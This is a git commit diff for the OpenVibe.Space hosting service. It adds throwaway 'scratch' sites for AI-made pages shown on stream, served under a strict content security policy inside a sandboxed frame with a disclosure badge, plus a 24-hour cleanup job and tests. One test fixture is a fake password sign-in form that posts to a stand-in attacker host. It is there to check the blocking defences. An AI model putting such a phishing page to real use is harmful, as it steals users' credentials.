openvibers/openvibe.space Commits

Agent Streams S6: the throwaway scratch sites of a chat plays session. (#214)

OP OpenVibers committed 6 days ago · 76a06bf496 · 5 files, +320 −5

* Agent Streams S6: chat plays

* Agent Streams S6: a scratch site collects nothing and says what it is

* Merge remote-tracking branch 'origin/main' into feat/agent-streams-s6-chat-plays

* Scratch sites migration is 0014 (main took 0012 and 0013 for sharing)

Changes

ddiff --git a/migrations/0014_scratch_sites.sql b/migrations/0014_scratch_sites.sql
nnew file mode 100644
iindex 0000000..8f8a4e6
---- /dev/null
++++ b/migrations/0014_scratch_sites.sql
@@@ -0,0 +1,14 @@
++-- phase: expand
++-- Agent Streams S6: the throwaway scratch sites of a chat plays session (OpenVibe.Codes' shared sandbox desk
++-- leaves one behind). A scratch site is a site like any other, with one difference: it is removed after
++-- 24 hours unless the owner keeps it.
++--
++-- Expand only: the columns are optional and an older release ignores them. A site that is not a scratch
++-- site has scratch = false and no expiry, and behaves exactly as before.
++
++ALTER TABLE space_sites ADD COLUMN scratch boolean NOT NULL DEFAULT false;
++ALTER TABLE space_sites ADD COLUMN scratch_expires_at bigint;
++ALTER TABLE space_sites ADD COLUMN scratch_kept boolean NOT NULL DEFAULT false;
++
++-- The cleanup job reads the scratch sites whose day is up (and that nobody kept).
++CREATE INDEX space_sites_scratch_expiry ON space_sites (scratch_expires_at) WHERE scratch = true AND scratch_kept = false;
ddiff --git a/server/http/tenant.js b/server/http/tenant.js
iindex 132acfc..bfa434c 100644
---- a/server/http/tenant.js
++++ b/server/http/tenant.js
@@@ -119,14 +119,56 @@ function normaliseHost(raw) {
return h;
}
--function baseHeaders(res, { sandbox = false } = {}) {
++// A scratch site is a page an AI made from a chat request, shown on stream at an openvibe.space address.
++// Somebody asked for it, so it may be convincing: it may collect nothing. No form may be submitted
++// (form-action 'none'), it may not be framed (frame-ancestors 'none'), it may not phone home
++// (connect-src 'none'), and it is never indexed (X-Robots-Tag: noindex). The badge that says what it is
++// lives in a wrapper document above the page (scratchWrapper), so the page cannot hide it.
++const SCRATCH_CSP = [
++ "default-src 'self'",
++ "script-src 'self' 'unsafe-inline'",
++ "style-src 'self' 'unsafe-inline'",
++ "img-src 'self' data: https:",
++ "font-src 'self' data:",
++ "media-src 'self' https:",
++ "connect-src 'none'",
++ "object-src 'none'",
++ "base-uri 'self'",
++ "form-action 'none'",
++ "frame-ancestors 'none'",
++].join('; ');
++
++/**
++ * The wrapper of a scratch site: the badge, and the page inside a frame that is sandboxed without
++ * allow-same-origin, so the page runs in an opaque origin and cannot reach this document to take the
++ * badge away. The page's own markup goes into the frame as srcdoc, so it keeps its own markup and its
++ * own scripts, and nothing of it is served as this document's markup.
++ */
++function scratchWrapper(html, { expiresAt = null } = {}) {
++ const when = expiresAt ? new Date(Number(expiresAt)).toUTCString().replace(/ GMT$/, ' UTC') : 'a day';
++ const badge = `A throwaway page an AI made from a chat request · removed ${when}`;
++ const page = String(html == null ? '' : html)
++ .replace(/&/g, '&amp;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
++ return `<!doctype html>
++<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
++<meta name="robots" content="noindex, nofollow"><title>A throwaway page</title>
++<style>html,body{margin:0;padding:0;background:#0a0e14;color:#e6edf3;font:14px/1.45 system-ui,-apple-system,"Segoe UI",sans-serif}
++#ov-scratch-frame{display:block;width:100%;height:100vh;border:0;background:#fff}
++#ov-scratch-badge{position:fixed;left:0;right:0;bottom:0;z-index:2147483647;background:#0f1622;color:#c9d6e4;border-top:1px solid #223047;padding:9px 12px;font-size:12px;text-align:center;line-height:1.3}</style></head>
++<body>
++<div id="ov-scratch-badge">${badge}</div>
++<iframe id="ov-scratch-frame" sandbox="allow-scripts" referrerpolicy="no-referrer" title="A throwaway page" srcdoc="${page}"></iframe>
++</body></html>`;
++}
++
++function baseHeaders(res, { sandbox = false, scratch = false } = {}) {
res.setHeader('X-Content-Type-Options', 'nosniff');
-- res.setHeader('Content-Security-Policy', TENANT_CSP);
++ res.setHeader('Content-Security-Policy', scratch ? SCRATCH_CSP : TENANT_CSP);
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=(), usb=(), interest-cohort=()');
res.setHeader('X-Served-By', 'OpenVibe.Space');
-- if (sandbox) res.setHeader('X-Robots-Tag', 'noindex, nofollow');
++ if (sandbox || scratch) res.setHeader('X-Robots-Tag', 'noindex, nofollow');
}
const FN_PATH = /^\/api\/([a-z0-9][a-z0-9-]{0,39})\/?$/;
@@@ -259,6 +301,17 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
return res.destroy();
}
res.setHeader('Content-Length', length);
++ // A scratch site is served in the wrapper: the badge is above the page, outside its own markup,
++ // so the page cannot take it away.
++ if (site.scratch === true && /^text\/html/i.test(String(row.content_type || ''))) {
++ let html = '';
++ try { html = await fs.promises.readFile(file, 'utf8'); } catch { html = ''; }
++ const wrapped = Buffer.from(scratchWrapper(html, { expiresAt: site.scratch_expires_at }), 'utf8');
++ res.setHeader('Content-Length', wrapped.length);
++ res.removeHeader('Content-Range');
++ res.setHeader('Content-Type', 'text/html; charset=utf-8');
++ return res.end(wrapped);
++ }
const stream = fs.createReadStream(file, { start, end });
stream.on('error', (err) => {
log.error('[Space] object missing or unreadable:', row.project_id, row.sha256, err.code || err.message);
@@@ -405,7 +458,7 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
// The site's own headers go on first; baseHeaders then overrides every reserved one, so a
// tenant can never weaken CSP/HSTS/nosniff or set a cookie.
if (cfg) applyConfiguredHeaders(res, cfg.headers);
-- baseHeaders(res, { sandbox: site.environment === 'sandbox' });
++ baseHeaders(res, { sandbox: site.environment === 'sandbox', scratch: site.scratch === true });
// A published space: the app policy, and the space SDK at /_openvibe/sdk.js (never one of its files).
const space = apps && apps() ? await apps().forSite(site.id) : null;
if (space) res.setHeader('Content-Security-Policy', appCsp(config));
@@@ -540,4 +593,4 @@ function createTenantServer({ store, config, blobs, takedowns = null, siteConfig
return { resolve, handle, preview, unknownHost, normaliseHost, candidates, TENANT_CSP };
}
--module.exports = { createTenantServer, normaliseHost, TENANT_CSP, appCsp };
++module.exports = { createTenantServer, normaliseHost, TENANT_CSP, SCRATCH_CSP, scratchWrapper, appCsp };
ddiff --git a/server/scratch-sites.js b/server/scratch-sites.js
nnew file mode 100644
iindex 0000000..102fd5a
---- /dev/null
++++ b/server/scratch-sites.js
@@@ -0,0 +1,95 @@
++'use strict';
++/**
++ * The throwaway scratch sites of a chat plays session (Agent Streams S6, design 2026-11-06, §1 and §3).
++ *
++ * A chat plays run leaves a page behind: a scratch site at a throwaway OpenVibe.Space address. It has no
++ * login and no form that collects anything, it is shown on stream, and it is removed after 24 hours unless
++ * the owner keeps it.
++ *
++ * The job that removes them runs on a timer (SPACE_SCRATCH_CLEANUP_INTERVAL_MS, an hour by default) and once
++ * when it starts. It is off with SPACE_SCRATCH_CLEANUP=off or SPACE_SCRATCH_CLEANUP_INTERVAL_MS=0.
++ */
++const SCRATCH_TTL_MS = 24 * 60 * 60 * 1000;
++
++function createScratchSites({ store, config, log = console }) {
++ const { db } = store;
++ const q = {
++ byId: db.prepare('SELECT * FROM space_sites WHERE id = ?'),
++ markScratch: db.prepare('UPDATE space_sites SET scratch = true, scratch_expires_at = ?, scratch_kept = false, updated_at = ? WHERE id = ?'),
++ keep: db.prepare('UPDATE space_sites SET scratch_kept = true, scratch_expires_at = NULL, updated_at = ? WHERE id = ?'),
++ expired: db.prepare("SELECT id FROM space_sites WHERE scratch = true AND scratch_kept = false AND status = 'active' AND scratch_expires_at IS NOT NULL AND scratch_expires_at < ? LIMIT ?"),
++ remove: db.prepare("UPDATE space_sites SET status = 'deleted', active_deploy_id = NULL, preview_deploy_id = NULL, preview_expires_at = NULL, deleted_at = ?, updated_at = ? WHERE id = ? AND scratch = true AND status = 'active'"),
++ };
++
++ /** Mark a site as a scratch site: it is removed after a day unless the owner keeps it. */
++ async function mark(siteId, { now = store.now(), ttlMs = SCRATCH_TTL_MS } = {}) {
++ const row = await q.byId.get(String(siteId || ''));
++ if (!row) return { ok: false, code: 'scratch.no_such_site' };
++ const expires = Number(now) + Number(ttlMs || SCRATCH_TTL_MS);
++ await q.markScratch.run(expires, Number(now), row.id);
++ return { ok: true, site_id: row.id, name: row.name, expires_at: expires };
++ }
++
++ /** The owner keeps it: the site stays past its day. */
++ async function keep(siteId, { now = store.now() } = {}) {
++ const row = await q.byId.get(String(siteId || ''));
++ if (!row) return { ok: false, code: 'scratch.no_such_site' };
++ await q.keep.run(Number(now), row.id);
++ return { ok: true, site_id: row.id, name: row.name, kept: true };
++ }
++
++ /** The scratch sites whose day is up: removed, and how many. */
++ async function removeExpired({ now = store.now(), limit = 500 } = {}) {
++ const rows = await q.expired.all(Number(now), limit);
++ let n = 0;
++ for (const row of rows) {
++ const r = await q.remove.run(Number(now), Number(now), row.id);
++ if (Number(r.changes) > 0) n++;
++ }
++ return n;
++ }
++
++ return { mark, keep, removeExpired, SCRATCH_TTL_MS };
++}
++
++/**
++ * The job that removes the scratch sites whose day is up. The same shape as the guest cleanup job: a timer,
++ * a run that never overlaps itself, and a way to stop it.
++ */
++function createScratchCleanup({ store, config, log = console }) {
++ const scratch = createScratchSites({ store, config, log });
++ let timer = null;
++ let running = false;
++
++ async function run() {
++ if (running) return 0;
++ running = true;
++ try {
++ const n = await scratch.removeExpired();
++ if (n) log.info?.(`[Space] ${n} scratch site(s) removed: their day was up`);
++ return n;
++ } catch (err) {
++ log.warn?.('[Space] the scratch cleanup failed: ' + err.message);
++ return 0;
++ } finally {
++ running = false;
++ }
++ }
++
++ function start() {
++ const interval = Number(config.spaces && config.spaces.scratchCleanupIntervalMs) || 0;
++ if (interval <= 0) return;
++ run();
++ timer = setInterval(run, interval);
++ if (timer.unref) timer.unref();
++ }
++
++ function stop() {
++ if (timer) clearInterval(timer);
++ timer = null;
++ }
++
++ return { ...scratch, run, start, stop };
++}
++
++module.exports = { createScratchSites, createScratchCleanup, SCRATCH_TTL_MS };
ddiff --git a/test/scratch-serve.test.js b/test/scratch-serve.test.js
nnew file mode 100644
iindex 0000000..8001808
---- /dev/null
++++ b/test/scratch-serve.test.js
@@@ -0,0 +1,96 @@
++'use strict';
++/**
++ * Agent Streams S6 — a scratch site is served so it cannot collect anything and cannot hide what it is.
++ *
++ * A scratch site is a page an AI made from a viewer's chat request, shown on stream at an openvibe.space
++ * address. It may collect nothing: no form may be submitted (form-action 'none'), it may not be framed
++ * (frame-ancestors 'none'), it may not phone home (connect-src 'none'), and it is never indexed. The badge
++ * that says what it is lives in a wrapper document above the page, so the page cannot take it away.
++ */
++const assert = require('assert');
++const fs = require('fs');
++const os = require('os');
++const path = require('path');
++const http = require('http');
++const { testDb } = require('./helpers/db');
++const { createApp } = require('../server/app');
++const { load } = require('../server/hosting-config');
++
++(async () => {
++ const db = await testDb();
++ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-space-scratch-'));
++ const auth = { verify: async () => null, keys: { loaded: () => false } };
++ const config = load({ NODE_ENV: 'test', BASE_URL: 'https://openvibe.space', SPACE_WORKER: 'off', SPACE_MIN_FREE_BYTES: '0' });
++ const app = await createApp({ db, auth, hostingConfig: config, storageDir: dir });
++ const h = app.locals.hosting;
++ const user = { kind: 'user', subject: 'usr_01J8ZQ4Y7N3M2K1H0G9F8E7D6C', staff: true };
++ const project = await h.projects.create(user, { name: 'Scratch' });
++ const site = await h.sites.create(user, project, { name: 'snake-4f2a' });
++ const pre = await h.deploys.precheck(user, site.id);
++ await h.deploys.create(user, pre, [{
++ path: 'index.html',
++ data: Buffer.from('<!doctype html><html><body><h1>Sign in</h1>'
++ + '<form action="https://evil.example/steal" method="post"><input name="password"><button>Log in</button></form>'
++ + '</body></html>'),
++ }], { source: 'files', activate: true });
++
++ const store = (app.locals.ctx && app.locals.ctx.store) || h.store;
++ const scratch = require('../server/scratch-sites').createScratchSites({ store, config });
++ const marked = await scratch.mark(site.id);
++ assert.strictEqual(marked.ok, true, 'the site is a scratch site');
++
++ const tenant = h.tenant;
++ const server = http.createServer(async (req, res) => {
++ const found = await tenant.resolve(String(req.headers.host || ''));
++ if (found.kind !== 'site') { res.statusCode = 404; return res.end('unknown host'); }
++ return tenant.handle(req, res, found.site);
++ });
++ await new Promise((ok) => server.listen(0, '127.0.0.1', ok));
++ const port = server.address().port;
++ // The Host header names the site (the fetch API forbids setting it, so the request is made by hand).
++ const ask = (host, path = '/') => new Promise((ok, no) => {
++ const req = http.request({ host: '127.0.0.1', port, path, method: 'GET', headers: { host } }, (res) => {
++ let body = '';
++ res.setEncoding('utf8');
++ res.on('data', (c) => { body += c; });
++ res.on('end', () => ok({ status: res.statusCode, headers: res.headers, body }));
++ });
++ req.on('error', no);
++ req.end();
++ });
++ const answer = await ask('snake-4f2a.openvibe.website');
++ const body = answer.body;
++ const csp = String(answer.headers['content-security-policy'] || '');
++ const robots = String(answer.headers['x-robots-tag'] || '');
++
++ // The policy: no form may be submitted, the page may not be framed, it may not phone home.
++ assert.ok(csp.includes("form-action 'none'"), 'a form POST is blocked by the policy: ' + csp);
++ assert.ok(csp.includes("frame-ancestors 'none'"), 'the page may not be framed: ' + csp);
++ assert.ok(csp.includes("connect-src 'none'"), 'the page may not phone home: ' + csp);
++ assert.ok(robots.includes('noindex'), 'it is never indexed: ' + robots);
++
++ // The badge is there, and it is above the page's own markup, which lives inside a sandboxed frame.
++ assert.ok(body.includes('A throwaway page an AI made from a chat request'), 'the badge says what the page is');
++ assert.ok(body.includes('removed'), 'the badge says when the page goes');
++ assert.ok(body.includes('id="ov-scratch-badge"'), 'the badge is its own element');
++ assert.ok(body.includes('sandbox="allow-scripts"'), 'the page runs in a sandboxed frame');
++ assert.ok(!body.includes('allow-same-origin'), 'the frame is not the page\'s origin: the page cannot reach the badge');
++ const badgeAt = body.indexOf('ov-scratch-badge');
++ const frameAt = body.indexOf('<iframe');
++ assert.ok(badgeAt > 0 && badgeAt < frameAt, 'the badge is above the page, not inside it');
++ assert.ok(body.includes('&lt;form'), 'the page\'s own markup is escaped inside the frame');
++
++ // A site that is not a scratch site is served as it is.
++ const plain = await h.sites.create(user, project, { name: 'ordinary-site' });
++ const pre2 = await h.deploys.precheck(user, plain.id);
++ await h.deploys.create(user, pre2, [{ path: 'index.html', data: Buffer.from('<h1>Ordinary</h1>') }], { source: 'files', activate: true });
++ const answer2 = await ask('ordinary-site.openvibe.website');
++ const body2 = answer2.body;
++ assert.ok(body2.includes('<h1>Ordinary</h1>'), 'an ordinary site is served as it is');
++ assert.ok(!body2.includes('ov-scratch-badge'), 'an ordinary site has no badge');
++
++ server.close();
++ console.log('scratch sites: a page an AI made collects nothing, and says what it is');
++ await db.close();
++ process.exit(0);
++})().catch((err) => { console.error(err); process.exit(1); });
ddiff --git a/test/scratch-sites.test.js b/test/scratch-sites.test.js
nnew file mode 100644
iindex 0000000..b4e39ba
---- /dev/null
++++ b/test/scratch-sites.test.js
@@@ -0,0 +1,57 @@
++'use strict';
++/**
++ * Agent Streams S6 — the throwaway scratch sites (server/scratch-sites.js).
++ *
++ * A chat plays run leaves a scratch site behind. It is removed after 24 hours unless the owner keeps it,
++ * and the cleanup job removes the ones whose day is up.
++ */
++const assert = require('assert');
++const { testDb } = require('./helpers/db');
++const { createScratchSites, SCRATCH_TTL_MS } = require('../server/scratch-sites');
++
++(async () => {
++ const db = await testDb();
++ let now = 1_700_000_000_000;
++ const store = { db, now: () => now };
++ const scratch = createScratchSites({ store, config: {} });
++
++ await db.prepare("INSERT INTO space_projects (id, owner_subject, name, created_at, updated_at) VALUES (?, ?, ?, ?, ?)")
++ .run('prj_test', 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'Test', now, now);
++ await db.prepare("INSERT INTO space_sites (id, project_id, name, status, created_by, created_at, updated_at) VALUES (?, ?, ?, 'active', ?, ?, ?)")
++ .run('site_test', 'prj_test', 'snake-4f2a', 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', now, now);
++
++ // A site becomes a scratch site: it is removed after a day.
++ const marked = await scratch.mark('site_test');
++ assert.strictEqual(marked.ok, true);
++ assert.strictEqual(marked.expires_at - now, SCRATCH_TTL_MS);
++ let row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');
++ assert.strictEqual(row.scratch, true);
++ assert.strictEqual(row.scratch_kept, false);
++
++ // The day is not up yet: nothing is removed.
++ now += 60_000;
++ assert.strictEqual(await scratch.removeExpired(), 0);
++ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');
++ assert.strictEqual(row.status, 'active');
++
++ // The day is up: the site goes.
++ now += SCRATCH_TTL_MS;
++ assert.strictEqual(await scratch.removeExpired(), 1);
++ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');
++ assert.strictEqual(row.status, 'deleted', 'the scratch site is removed after 24 hours');
++
++ // A kept site stays.
++ await db.prepare("INSERT INTO space_sites (id, project_id, name, status, created_by, created_at, updated_at) VALUES (?, ?, ?, 'active', ?, ?, ?)")
++ .run('site_kept', 'prj_test', 'snake-kept', 'usr_1', now, now);
++ await scratch.mark('site_kept');
++ await scratch.keep('site_kept');
++ now += SCRATCH_TTL_MS * 2;
++ assert.strictEqual(await scratch.removeExpired(), 0, 'a kept site is not removed');
++ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_kept');
++ assert.strictEqual(row.status, 'active');
++ assert.strictEqual(row.scratch_kept, true);
++
++ console.log('scratch sites: a throwaway site lives 24 hours unless the owner keeps it');
++ await db.close();
++ process.exit(0);
++})().catch((err) => { console.error(err); process.exit(1); });